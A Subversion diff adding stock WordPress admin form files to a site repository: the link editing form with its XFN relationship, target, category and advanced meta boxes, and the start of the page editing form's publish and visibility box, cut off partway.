+	$heading = sprintf( __( '<a href="%s">Links</a> / Edit Link' ), 'link-manager.php' );
+	$submit_text = __('Update Link');
+	$form = '<form name="editlink" id="editlink" method="post" action="link.php">';
+	$nonce_action = 'update-bookmark_' . $link_id;
+} else {
+	$heading = sprintf( __( '<a href="%s">Links</a> / Add New Link' ), 'link-manager.php' );
+	$submit_text = __('Add Link');
+	$form = '<form name="addlink" id="addlink" method="post" action="link.php">';
+	$nonce_action = 'add-bookmark';
+}
+
+/**
+ * Display checked checkboxes attribute for xfn microformat options.
+ *
+ * @since 1.0.1
+ *
+ * @param string $class
+ * @param string $value
+ * @param mixed $deprecated Not used.
+ */
+function xfn_check($class, $value = '', $deprecated = '') {
+	global $link;
+
+	$link_rel = isset( $link->link_rel ) ? $link->link_rel : ''; // In PHP 5.3: $link_rel = $link->link_rel ?: '';
+	$rels = preg_split('/\s+/', $link_rel);
+
+	if ('' != $value && in_array($value, $rels) ) {
+		echo ' checked="checked"';
+	}
+
+	if ('' == $value) {
+		if ('family' == $class && strpos($link_rel, 'child') === false && strpos($link_rel, 'parent') === false && strpos($link_rel, 'sibling') === false && strpos($link_rel, 'spouse') === false && strpos($link_rel, 'kin') === false) echo ' checked="checked"';
+		if ('friendship' == $class && strpos($link_rel, 'friend') === false && strpos($link_rel, 'acquaintance') === false && strpos($link_rel, 'contact') === false) echo ' checked="checked"';
+		if ('geographical' == $class && strpos($link_rel, 'co-resident') === false && strpos($link_rel, 'neighbor') === false) echo ' checked="checked"';
+		if ('identity' == $class && in_array('me', $rels) ) echo ' checked="checked"';
+	}
+}
+
+/**
+ * Display link create form fields.
+ *
+ * @since 2.7.0
+ *
+ * @param object $link
+ */
+function link_submit_meta_box($link) {
+?>
+<div class="submitbox" id="submitlink">
+
+<div id="minor-publishing">
+
+<?php // Hidden submit button early on so that the browser chooses the right button when form is submitted with Return key ?>
+<div style="display:none;">
+<input type="submit" name="save" value="<?php esc_attr_e('Save'); ?>" />
+</div>
+
+<div id="minor-publishing-actions">
+<div id="preview-action">
+<?php if ( !empty($link->link_id) ) { ?>
+	<a class="preview button" href="<?php echo $link->link_url; ?>" target="_blank" tabindex="4"><?php _e('Visit Link'); ?></a>
+<?php } ?>
+</div>
+<div class="clear"></div>
+</div>
+
+<div id="misc-publishing-actions">
+<div class="misc-pub-section misc-pub-section-last">
+	<label for="link_private" class="selectit"><input id="link_private" name="link_visible" type="checkbox" value="N" <?php checked($link->link_visible, 'N'); ?> /> <?php _e('Keep this link private') ?></label>
+</div>
+</div>
+
+</div>
+
+<div id="major-publishing-actions">
+<?php do_action('post_submitbox_start'); ?>
+<div id="delete-action">
+<?php
+if ( !empty($_GET['action']) && 'edit' == $_GET['action'] && current_user_can('manage_links') ) { ?>
+	<a class="submitdelete deletion" href="<?php echo wp_nonce_url("link.php?action=delete&amp;link_id=$link->link_id", 'delete-bookmark_' . $link->link_id); ?>" onclick="if ( confirm('<?php echo esc_js(sprintf(__("You are about to delete this link '%s'\n  'Cancel' to stop, 'OK' to delete."), $link->link_name )); ?>') ) {return true;}return false;"><?php _e('Delete'); ?></a>
+<?php } ?>
+</div>
+
+<div id="publishing-action">
+<?php if ( !empty($link->link_id) ) { ?>
+	<input name="save" type="submit" class="button-primary" id="publish" tabindex="4" accesskey="p" value="<?php esc_attr_e('Update Link') ?>" />
+<?php } else { ?>
+	<input name="save" type="submit" class="button-primary" id="publish" tabindex="4" accesskey="p" value="<?php esc_attr_e('Add Link') ?>" />
+<?php } ?>
+</div>
+<div class="clear"></div>
+</div>
+<?php do_action('submitlink_box'); ?>
+<div class="clear"></div>
+</div>
+<?php
+}
+add_meta_box('linksubmitdiv', __('Save'), 'link_submit_meta_box', 'link', 'side', 'core');
+
+/**
+ * Display link categories form fields.
+ *
+ * @since 2.6.0
+ *
+ * @param object $link
+ */
+function link_categories_meta_box($link) { ?>
+<ul id="category-tabs">
+	<li class="tabs"><a href="#categories-all"><?php _e( 'All Categories' ); ?></a></li>
+	<li class="hide-if-no-js"><a href="#categories-pop"><?php _e( 'Most Used' ); ?></a></li>
+</ul>
+
+<div id="categories-all" class="tabs-panel">
+	<ul id="categorychecklist" class="list:category categorychecklist form-no-clear">
+		<?php
+		if ( isset($link->link_id) )
+			wp_link_category_checklist($link->link_id);
+		else
+			wp_link_category_checklist();
+		?>
+	</ul>
+</div>
+
+<div id="categories-pop" class="tabs-panel" style="display: none;">
+	<ul id="categorychecklist-pop" class="categorychecklist form-no-clear">
+		<?php wp_popular_terms_checklist('link_category'); ?>
+	</ul>
+</div>
+
+<div id="category-adder" class="wp-hidden-children">
+	<h4><a id="category-add-toggle" href="#category-add"><?php _e( '+ Add New Category' ); ?></a></h4>
+	<p id="link-category-add" class="wp-hidden-child">
+		<label class="screen-reader-text" for="newcat"><?php _e( '+ Add New Category' ); ?></label>
+		<input type="text" name="newcat" id="newcat" class="form-required form-input-tip" value="<?php esc_attr_e( 'New category name' ); ?>" aria-required="true" />
+		<input type="button" id="category-add-submit" class="add:categorychecklist:linkcategorydiv button" value="<?php esc_attr_e( 'Add' ); ?>" />
+		<?php wp_nonce_field( 'add-link-category', '_ajax_nonce', false ); ?>
+		<span id="category-ajax-response"></span>
+	</p>
+</div>
+<?php
+}
+add_meta_box('linkcategorydiv', __('Categories'), 'link_categories_meta_box', 'link', 'normal', 'core');
+
+/**
+ * Display form fields for changing link target.
+ *
+ * @since 2.6.0
+ *
+ * @param object $link
+ */
+function link_target_meta_box($link) { ?>
+<fieldset><legend class="screen-reader-text"><span><?php _e('Target') ?></span></legend>
+<p><label for="link_target_blank" class="selectit">
+<input id="link_target_blank" type="radio" name="link_target" value="_blank" <?php echo ( isset( $link->link_target ) && ($link->link_target == '_blank') ? 'checked="checked"' : ''); ?> />
+<?php _e('<code>_blank</code> - new window or tab.'); ?></label></p>
+<p><label for="link_target_top" class="selectit">
+<input id="link_target_top" type="radio" name="link_target" value="_top" <?php echo ( isset( $link->link_target ) && ($link->link_target == '_top') ? 'checked="checked"' : ''); ?> />
+<?php _e('<code>_top</code> - current window or tab, with no frames.'); ?></label></p>
+<p><label for="link_target_none" class="selectit">
+<input id="link_target_none" type="radio" name="link_target" value="" <?php echo ( isset( $link->link_target ) && ($link->link_target == '') ? 'checked="checked"' : ''); ?> />
+<?php _e('<code>_none</code> - same window or tab.'); ?></label></p>
+</fieldset>
+<p><?php _e('Choose the target frame for your link.'); ?></p>
+<?php
+}
+add_meta_box('linktargetdiv', __('Target'), 'link_target_meta_box', 'link', 'normal', 'core');
+
+/**
+ * Display xfn form fields.
+ *
+ * @since 2.6.0
+ *
+ * @param object $link
+ */
+function link_xfn_meta_box($link) {
+?>
+<table class="editform" style="width: 100%;" cellspacing="2" cellpadding="5">
+	<tr>
+		<th style="width: 20%;" scope="row"><label for="link_rel"><?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('rel:') ?></label></th>
+		<td style="width: 80%;"><input type="text" name="link_rel" id="link_rel" size="50" value="<?php echo ( isset( $link->link_rel ) ? esc_attr($link->link_rel) : ''); ?>" /></td>
+	</tr>
+	<tr>
+		<td colspan="2">
+			<table cellpadding="3" cellspacing="5" class="form-table">
+				<tr>
+					<th scope="row"> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('identity') ?> </th>
+					<td><fieldset><legend class="screen-reader-text"><span> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('identity') ?> </span></legend>
+						<label for="me">
+						<input type="checkbox" name="identity" value="me" id="me" <?php xfn_check('identity', 'me'); ?> />
+						<?php _e('another web address of mine') ?></label>
+					</fieldset></td>
+				</tr>
+				<tr>
+					<th scope="row"> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('friendship') ?> </th>
+					<td><fieldset><legend class="screen-reader-text"><span> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('friendship') ?> </span></legend>
+						<label for="contact">
+						<input class="valinp" type="radio" name="friendship" value="contact" id="contact" <?php xfn_check('friendship', 'contact', 'radio'); ?> /> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('contact') ?></label>
+						<label for="acquaintance">
+						<input class="valinp" type="radio" name="friendship" value="acquaintance" id="acquaintance" <?php xfn_check('friendship', 'acquaintance', 'radio'); ?> />  <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('acquaintance') ?></label>
+						<label for="friend">
+						<input class="valinp" type="radio" name="friendship" value="friend" id="friend" <?php xfn_check('friendship', 'friend', 'radio'); ?> /> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('friend') ?></label>
+						<label for="friendship">
+						<input name="friendship" type="radio" class="valinp" value="" id="friendship" <?php xfn_check('friendship', '', 'radio'); ?> /> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('none') ?></label>
+					</fieldset></td>
+				</tr>
+				<tr>
+					<th scope="row"> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('physical') ?> </th>
+					<td><fieldset><legend class="screen-reader-text"><span> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('physical') ?> </span></legend>
+						<label for="met">
+						<input class="valinp" type="checkbox" name="physical" value="met" id="met" <?php xfn_check('physical', 'met'); ?> />
+						<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('met') ?></label>
+					</fieldset></td>
+				</tr>
+				<tr>
+					<th scope="row"> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('professional') ?> </th>
+					<td><fieldset><legend class="screen-reader-text"><span> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('professional') ?> </span></legend>
+						<label for="co-worker">
+						<input class="valinp" type="checkbox" name="professional" value="co-worker" id="co-worker" <?php xfn_check('professional', 'co-worker'); ?> />
+						<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('co-worker') ?></label>
+						<label for="colleague">
+						<input class="valinp" type="checkbox" name="professional" value="colleague" id="colleague" <?php xfn_check('professional', 'colleague'); ?> />
+						<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('colleague') ?></label>
+					</fieldset></td>
+				</tr>
+				<tr>
+					<th scope="row"> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('geographical') ?> </th>
+					<td><fieldset><legend class="screen-reader-text"><span> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('geographical') ?> </span></legend>
+						<label for="co-resident">
+						<input class="valinp" type="radio" name="geographical" value="co-resident" id="co-resident" <?php xfn_check('geographical', 'co-resident', 'radio'); ?> />
+						<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('co-resident') ?></label>
+						<label for="neighbor">
+						<input class="valinp" type="radio" name="geographical" value="neighbor" id="neighbor" <?php xfn_check('geographical', 'neighbor', 'radio'); ?> />
+						<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('neighbor') ?></label>
+						<label for="geographical">
+						<input class="valinp" type="radio" name="geographical" value="" id="geographical" <?php xfn_check('geographical', '', 'radio'); ?> />
+						<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('none') ?></label>
+					</fieldset></td>
+				</tr>
+				<tr>
+					<th scope="row"> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('family') ?> </th>
+					<td><fieldset><legend class="screen-reader-text"><span> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('family') ?> </span></legend>
+						<label for="child">
+						<input class="valinp" type="radio" name="family" value="child" id="child" <?php xfn_check('family', 'child', 'radio'); ?>  />
+						<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('child') ?></label>
+						<label for="kin">
+						<input class="valinp" type="radio" name="family" value="kin" id="kin" <?php xfn_check('family', 'kin', 'radio'); ?>  />
+						<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('kin') ?></label>
+						<label for="parent">
+						<input class="valinp" type="radio" name="family" value="parent" id="parent" <?php xfn_check('family', 'parent', 'radio'); ?> />
+						<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('parent') ?></label>
+						<label for="sibling">
+						<input class="valinp" type="radio" name="family" value="sibling" id="sibling" <?php xfn_check('family', 'sibling', 'radio'); ?> />
+						<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('sibling') ?></label>
+						<label for="spouse">
+						<input class="valinp" type="radio" name="family" value="spouse" id="spouse" <?php xfn_check('family', 'spouse', 'radio'); ?> />
+						<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('spouse') ?></label>
+						<label for="family">
+						<input class="valinp" type="radio" name="family" value="" id="family" <?php xfn_check('family', '', 'radio'); ?> />
+						<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('none') ?></label>
+					</fieldset></td>
+				</tr>
+				<tr>
+					<th scope="row"> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('romantic') ?> </th>
+					<td><fieldset><legend class="screen-reader-text"><span> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('romantic') ?> </span></legend>
+						<label for="muse">
+						<input class="valinp" type="checkbox" name="romantic" value="muse" id="muse" <?php xfn_check('romantic', 'muse'); ?> />
+						<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('muse') ?></label>
+						<label for="crush">
+						<input class="valinp" type="checkbox" name="romantic" value="crush" id="crush" <?php xfn_check('romantic', 'crush'); ?> />
+						<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('crush') ?></label>
+						<label for="date">
+						<input class="valinp" type="checkbox" name="romantic" value="date" id="date" <?php xfn_check('romantic', 'date'); ?> />
+						<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('date') ?></label>
+						<label for="romantic">
+						<input class="valinp" type="checkbox" name="romantic" value="sweetheart" id="romantic" <?php xfn_check('romantic', 'sweetheart'); ?> />
+						<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('sweetheart') ?></label>
+					</fieldset></td>
+				</tr>
+			</table>
+		</td>
+	</tr>
+</table>
+<p><?php _e('If the link is to a person, you can specify your relationship with them using the above form. If you would like to learn more about the idea check out <a href="http://gmpg.org/xfn/">XFN</a>.'); ?></p>
+<?php
+}
+add_meta_box('linkxfndiv', __('Link Relationship (XFN)'), 'link_xfn_meta_box', 'link', 'normal', 'core');
+
+/**
+ * Display advanced link options form fields.
+ *
+ * @since 2.6.0
+ *
+ * @param object $link
+ */
+function link_advanced_meta_box($link) {
+?>
+<table class="form-table" style="width: 100%;" cellspacing="2" cellpadding="5">
+	<tr class="form-field">
+		<th valign="top"  scope="row"><label for="link_image"><?php _e('Image Address') ?></label></th>
+		<td><input type="text" name="link_image" class="code" id="link_image" size="50" value="<?php echo ( isset( $link->link_image ) ? esc_attr($link->link_image) : ''); ?>" style="width: 95%" /></td>
+	</tr>
+	<tr class="form-field">
+		<th valign="top"  scope="row"><label for="rss_uri"><?php _e('RSS Address') ?></label></th>
+		<td><input name="link_rss" class="code" type="text" id="rss_uri" value="<?php echo  ( isset( $link->link_rss ) ? esc_attr($link->link_rss) : ''); ?>" size="50" style="width: 95%" /></td>
+	</tr>
+	<tr class="form-field">
+		<th valign="top"  scope="row"><label for="link_notes"><?php _e('Notes') ?></label></th>
+		<td><textarea name="link_notes" id="link_notes" cols="50" rows="10" style="width: 95%"><?php echo  ( isset( $link->link_notes ) ? $link->link_notes : ''); ?></textarea></td>
+	</tr>
+	<tr class="form-field">
+		<th valign="top"  scope="row"><label for="link_rating"><?php _e('Rating') ?></label></th>
+		<td><select name="link_rating" id="link_rating" size="1">
+		<?php
+			for ($r = 0; $r < 10; $r++) {
+				echo('            <option value="'. esc_attr($r) .'" ');
+				if ( isset($link->link_rating) && $link->link_rating == $r)
+					echo 'selected="selected"';
+				echo('>'.$r.'</option>');
+			}
+		?></select>&nbsp;<?php _e('(Leave at 0 for no rating.)') ?>
+		</td>
+	</tr>
+</table>
+<?php
+}
+add_meta_box('linkadvanceddiv', __('Advanced'), 'link_advanced_meta_box', 'link', 'normal', 'core');
+
+do_action('do_meta_boxes', 'link', 'normal', $link);
+do_action('do_meta_boxes', 'link', 'advanced', $link);
+do_action('do_meta_boxes', 'link', 'side', $link);
+
+require_once ('admin-header.php');
+
+?>
+<div class="wrap">
+<?php screen_icon(); ?>
+<h2><?php echo esc_html( $title ); ?></h2>
+
+<?php if ( isset( $_GET['added'] ) ) : ?>
+<div id="message" class="updated fade"><p><?php _e('Link added.'); ?></p></div>
+<?php endif; ?>
+
+<?php
+if ( !empty($form) )
+	echo $form;
+if ( !empty($link_added) )
+	echo $link_added;
+
+wp_nonce_field( $nonce_action );
+wp_nonce_field( 'closedpostboxes', 'closedpostboxesnonce', false );
+wp_nonce_field( 'meta-box-order', 'meta-box-order-nonce', false ); ?>
+
+<div id="poststuff" class="metabox-holder<?php echo 2 == $screen_layout_columns ? ' has-right-sidebar' : ''; ?>">
+
+<div id="side-info-column" class="inner-sidebar">
+<?php
+
+do_action('submitlink_box');
+$side_meta_boxes = do_meta_boxes( 'link', 'side', $link );
+
+?>
+</div>
+
+<div id="post-body">
+<div id="post-body-content">
+<div id="namediv" class="stuffbox">
+<h3><label for="link_name"><?php _e('Name') ?></label></h3>
+<div class="inside">
+	<input type="text" name="link_name" size="30" tabindex="1" value="<?php echo esc_attr($link->link_name); ?>" id="link_name" />
+    <p><?php _e('Example: Nifty blogging software'); ?></p>
+</div>
+</div>
+
+<div id="addressdiv" class="stuffbox">
+<h3><label for="link_url"><?php _e('Web Address') ?></label></h3>
+<div class="inside">
+	<input type="text" name="link_url" size="30" class="code" tabindex="1" value="<?php echo esc_attr($link->link_url); ?>" id="link_url" />
+    <p><?php _e('Example: <code>http://wordpress.org/</code> &#8212; don&#8217;t forget the <code>http://</code>'); ?></p>
+</div>
+</div>
+
+<div id="descriptiondiv" class="stuffbox">
+<h3><label for="link_description"><?php _e('Description') ?></label></h3>
+<div class="inside">
+	<input type="text" name="link_description" size="30" tabindex="1" value="<?php echo isset($link->link_description) ? esc_attr($link->link_description) : ''; ?>" id="link_description" />
+    <p><?php _e('This will be shown when someone hovers over the link in the blogroll, or optionally below the link.'); ?></p>
+</div>
+</div>
+
+<?php
+
+do_meta_boxes('link', 'normal', $link);
+
+do_meta_boxes('link', 'advanced', $link);
+
+if ( $link_id ) : ?>
+<input type="hidden" name="action" value="save" />
+<input type="hidden" name="link_id" value="<?php echo (int) $link_id; ?>" />
+<input type="hidden" name="order_by" value="<?php echo esc_attr($order_by); ?>" />
+<input type="hidden" name="cat_id" value="<?php echo (int) $cat_id ?>" />
+<?php else: ?>
+<input type="hidden" name="action" value="add" />
+<?php endif; ?>
+
+</div>
+</div>
+</div>
+
+</form>
+</div>
Index: /trunk/www.guidonia.net/wp/wp-admin/edit-page-form.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/edit-page-form.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/edit-page-form.php	(revision 44)
@@ -0,0 +1,495 @@
+<?php
+/**
+ * Edit page form for inclusion in the administration panels.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Post ID global.
+ * @name $post_ID
+ * @var int
+ */
+if ( ! isset( $post_ID ) )
+	$post_ID = 0;
+if ( ! isset( $temp_ID ) )
+	$temp_ID = 0;
+
+if ( isset($_GET['message']) )
+	$_GET['message'] = absint( $_GET['message'] );
+$messages[1] = sprintf(__('Page updated. <a href="%s">View page</a>'), get_permalink($post_ID));
+$messages[2] = __('Custom field updated.');
+$messages[3] = __('Custom field deleted.');
+$messages[5] = sprintf(__('Page published. <a href="%s">View page</a>'), get_permalink($post_ID));
+$messages[6] = sprintf(__('Page submitted. <a href="%s">Preview page</a>'), add_query_arg( 'preview', 'true', get_permalink($post_ID) ) );
+
+if ( isset($_GET['revision']) )
+	$messages[5] = sprintf( __('Page restored to revision from %s'), wp_post_revision_title( (int) $_GET['revision'], false ) );
+
+$notice = false;
+$notices[1] = __( 'There is an autosave of this page that is more recent than the version below.  <a href="%s">View the autosave</a>.' );
+
+if ( 0 == $post_ID) {
+	$form_action = 'post';
+	$nonce_action = 'add-page';
+	$temp_ID = -1 * time(); // don't change this formula without looking at wp_write_post()
+	$form_extra = "<input type='hidden' id='post_ID' name='temp_ID' value='$temp_ID' />";
+} else {
+	$post_ID = (int) $post_ID;
+	$form_action = 'editpost';
+	$nonce_action = 'update-page_' . $post_ID;
+	$form_extra = "<input type='hidden' id='post_ID' name='post_ID' value='$post_ID' />";
+	$autosave = wp_get_post_autosave( $post_ID );
+	if ( $autosave && mysql2date( 'U', $autosave->post_modified_gmt, false ) > mysql2date( 'U', $post->post_modified_gmt, false ) )
+		$notice = sprintf( $notices[1], get_edit_post_link( $autosave->ID ) );
+}
+
+$temp_ID = (int) $temp_ID;
+$user_ID = (int) $user_ID;
+
+/**
+ * Display submit form fields.
+ *
+ * @since 2.7.0
+ *
+ * @param object $post
+ */
+function page_submit_meta_box($post) {
+	global $action;
+
+	$can_publish = current_user_can('publish_pages');
+?>
+<div class="submitbox" id="submitpage">
+
+<div id="minor-publishing">
+
+<?php // Hidden submit button early on so that the browser chooses the right button when form is submitted with Return key ?>
+<div style="display:none;">
+<input type="submit" name="save" value="<?php esc_attr_e('Save'); ?>" />
+</div>
+
+<div id="minor-publishing-actions">
+<div id="save-action">
+<?php if ( 'publish' != $post->post_status && 'future' != $post->post_status && 'pending' != $post->post_status )  { ?>
+<input <?php if ( 'private' == $post->post_status ) { ?>style="display:none"<?php } ?> type="submit" name="save" id="save-post" value="<?php esc_attr_e('Save Draft'); ?>" tabindex="4" class="button button-highlighted" />
+<?php } elseif ( 'pending' == $post->post_status && $can_publish ) { ?>
+<input type="submit" name="save" id="save-post" value="<?php esc_attr_e('Save as Pending'); ?>" tabindex="4" class="button button-highlighted" />
+<?php } ?>
+</div>
+
+<div id="preview-action">
+<?php
+if ( 'publish' == $post->post_status ) {
+	$preview_link = esc_url(get_permalink($post->ID));
+	$preview_button = __('Preview Changes');
+} else {
+	$preview_link = esc_url(apply_filters('preview_post_link', add_query_arg('preview', 'true', get_permalink($post->ID))));
+	$preview_button = __('Preview');
+}
+?>
+<a class="preview button" href="<?php echo $preview_link; ?>" target="wp-preview" id="post-preview" tabindex="4"><?php echo $preview_button; ?></a>
+<input type="hidden" name="wp-preview" id="wp-preview" value="" />
+</div>
+
+<div class="clear"></div>
+</div><?php // /minor-publishing-actions ?>
+
+<div id="misc-publishing-actions">
+
+<div class="misc-pub-section<?php if ( !$can_publish ) { echo ' misc-pub-section-last'; } ?>"><label for="post_status"><?php _e('Status:') ?></label>
+<span id="post-status-display">
+<?php
+switch ( $post->post_status ) {
+	case 'private':
+		_e('Privately Published');
+		break;
+	case 'publish':
+		_e('Published');
+		break;
+	case 'future':
+		_e('Scheduled');
+		break;
+	case 'pending':
+		_e('Pending Review');
+		break;
+	case 'draft':
+		_e('Draft');
+		break;
+}
+?>
+</span>
+<?php if ( 'publish' == $post->post_status || 'private' == $post->post_status || $can_publish ) { ?>
+<a href="#post_status" <?php if ( 'private' == $post->post_status ) { ?>style="display:none;" <?php } ?>class="edit-post-status hide-if-no-js" tabindex='4'><?php _e('Edit') ?></a>
+
+<div id="post-status-select" class="hide-if-js">
+<input type="hidden" name="hidden_post_status" id="hidden_post_status" value="<?php echo esc_attr($post->post_status); ?>" />
+<select name='post_status' id='post_status' tabindex='4'>
+<?php if ( 'publish' == $post->post_status ) : ?>
+<option<?php selected( $post->post_status, 'publish' ); ?> value='publish'><?php _e('Published') ?></option>
+<?php elseif ( 'private' == $post->post_status ) : ?>
+<option<?php selected( $post->post_status, 'private' ); ?> value='publish'><?php _e('Privately Published') ?></option>
+<?php elseif ( 'future' == $post->post_status ) : ?>
+<option<?php selected( $post->post_status, 'future' ); ?> value='future'><?php _e('Scheduled') ?></option>
+<?php endif; ?>
+<option<?php selected( $post->post_status, 'pending' ); ?> value='pending'><?php _e('Pending Review') ?></option>
+<option<?php selected( $post->post_status, 'draft' ); ?> value='draft'><?php _e('Draft') ?></option>
+</select>
+
+ <a href="#post_status" class="save-post-status hide-if-no-js button"><?php _e('OK'); ?></a>
+ <a href="#post_status" class="cancel-post-status hide-if-no-js"><?php _e('Cancel'); ?></a>
+</div>
+
+<?php } ?>
+</div><?php // /misc-pub-section ?>
+
+<div class="misc-pub-section " id="visibility">
+<?php _e('Visibility:'); ?> <span id="post-visibility-display"><?php
+
+if ( 'private' == $post->post_status ) {
+	$post->post_password = '';
+	$visibility = 'private';
+	$visibility_trans = __('Private');
+} elseif ( !empty( $post->post_password ) ) {
+	$visibility = 'password';
+	$visibility_trans = __('Password protected');
+} else {
+	$visibility = 'public';
+	$visibility_trans = __('Public');
+}
+
+echo esc_html( $visibility_trans ); ?></span>
+<?php if ( $can_publish ) { ?>
+<a href="#visibility" class="edit-visibility hide-if-no-js"><?php _e('Edit'); ?></a>
+
+<div id="post-visibility-select" class="hide-if-js">
+<input type="hidden" name="hidden_post_password" id="hidden-post-password" value="<?php echo esc_attr($post->post_password); ?>" />
+<input type="hidden" name="hidden_post_visibility" id="hidden-post-visibility" value="<?php echo esc_attr( $visibility ); ?>" />
+
+<input type="radio" name="visibility" id="visibility-radio-public" value="public" <?php checked( $visibility, 'public' ); ?> /> <label for="visibility-radio-public" class="selectit"><?php _e('Public'); ?></label><br />
+<input type="radio" name="visibility" id="visibility-radio-password" value="password" <?php checked( $visibility, 'password' ); ?> /> <label for="visibility-radio-password" class="selectit"><?php _e('Password protected'); ?></label><br />
+<span id="password-span"><label for="post_password"><?php _e('Password:'); ?></label> <input type="text" name="post_password" id="post_password" value="<?php echo esc_attr($post->post_password); ?>" /><br /></span>
+<input type="radio" name="visibility" id="visibility-radio-private" value="private" <?php checked( $visibility, 'private' ); ?> /> <label for="visibility-radio-private" class="selectit"><?php _e('Private'); ?></label><br />
+
+<p><a href="#visibility" class="save-post-visibility hide-if-no-js button"><?php _e('OK'); ?></a>
+<a href="#visibility" class="cancel-post-visibility hide-if-no-js"><?php _e('Cancel'); ?></a></p>
+</div>
+<?php } ?>
+
+</div><?php // /misc-pub-section ?>
+
+<?php
+// translators: Publish box date formt, see http://php.net/date
+$datef = __( 'M j, Y @ G:i' );
+if ( 0 != $post->ID ) {
+	if ( 'future' == $post->post_status ) { // scheduled for publishing at a future date
+		$stamp = __('Scheduled for: <b>%1$s</b>');
+	} else if ( 'publish' == $post->post_status || 'private' == $post->post_status ) { // already published
+		$stamp = __('Published on: <b>%1$s</b>');
+	} else if ( '0000-00-00 00:00:00' == $post->post_date_gmt ) { // draft, 1 or more saves, no date specified
+		$stamp = __('Publish <b>immediately</b>');
+	} else if ( time() < strtotime( $post->post_date_gmt . ' +0000' ) ) { // draft, 1 or more saves, future date specified
+		$stamp = __('Schedule for: <b>%1$s</b>');
+	} else { // draft, 1 or more saves, date specified
+		$stamp = __('Publish on: <b>%1$s</b>');
+	}
+	$date = date_i18n( $datef, strtotime( $post->post_date ) );
+} else { // draft (no saves, and thus no date specified)
+	$stamp = __('Publish <b>immediately</b>');
+	$date = date_i18n( $datef, strtotime( current_time('mysql') ) );
+}
+
+if ( $can_publish ) : // Contributors don't get to choose the date of publish ?>
+<div class="misc-pub-section curtime misc-pub-section-last">
+	<span id="timestamp"><?php printf($stamp, $date); ?></span>
+	<a href="#edit_timestamp" class="edit-timestamp hide-if-no-js" tabindex='4'><?php _e('Edit') ?></a>
+	<div id="timestampdiv" class="hide-if-js"><?php touch_time(($action == 'edit'),1,4); ?></div>
+</div><?php // /misc-pub-section
+endif; ?>
+
+</div>
+<div class="clear"></div>
+</div>
+
+<div id="major-publishing-actions">
+<?php do_action('post_submitbox_start'); ?>
+<div id="delete-action">
+<?php
+if ( ( 'edit' == $action ) && current_user_can('delete_page', $post->ID) ) { ?>
+<a class="submitdelete deletion" href="<?php echo wp_nonce_url("page.php?action=delete&amp;post=$post->ID", 'delete-page_' . $post->ID); ?>" onclick="if ( confirm('<?php echo esc_js(sprintf( ('draft' == $post->post_status) ? __("You are about to delete this draft '%s'\n  'Cancel' to stop, 'OK' to delete.") : __("You are about to delete this page '%s'\n  'Cancel' to stop, 'OK' to delete."), $post->post_title )); ?>') ) {return true;}return false;"><?php _e('Delete'); ?></a>
+<?php } ?>
+</div>
+
+<div id="publishing-action">
+<?php
+if ( !in_array( $post->post_status, array('publish', 'future', 'private') ) || 0 == $post->ID ) { ?>
+<?php
+	if ( $can_publish ) :
+		if ( !empty($post->post_date_gmt) && time() < strtotime( $post->post_date_gmt . ' +0000' ) ) : ?>
+		<input name="original_publish" type="hidden" id="original_publish" value="<?php esc_attr_e('Schedule') ?>" />
+		<input name="publish" type="submit" class="button-primary" id="publish" tabindex="5" accesskey="p" value="<?php esc_attr_e('Schedule') ?>" />
+<?php	else : ?>
+		<input name="original_publish" type="hidden" id="original_publish" value="<?php esc_attr_e('Publish') ?>" />
+		<input name="publish" type="submit" class="button-primary" id="publish" tabindex="5" accesskey="p" value="<?php esc_attr_e('Publish') ?>" />
+<?php	endif;
+	else : ?>
+	<input name="original_publish" type="hidden" id="original_publish" value="<?php esc_attr_e('Submit for Review') ?>" />
+	<input name="publish" type="submit" class="button-primary" id="publish" tabindex="5" accesskey="p" value="<?php esc_attr_e('Submit for Review') ?>" />
+<?php
+	endif;
+} else { ?>
+	<input name="original_publish" type="hidden" id="original_publish" value="<?php esc_attr_e('Update Page') ?>" />
+	<input name="save" type="submit" class="button-primary" id="publish" tabindex="5" accesskey="p" value="<?php esc_attr_e('Update Page') ?>" />
+<?php
+} ?>
+</div>
+<div class="clear"></div>
+</div>
+</div>
+<?php
+}
+add_meta_box('pagesubmitdiv', __('Publish'), 'page_submit_meta_box', 'page', 'side', 'core');
+
+/**
+ * Display page password form fields.
+ *
+ * @since 2.6.0
+ *
+ * @param object $post
+ */
+function page_password_meta_box($post){
+?>
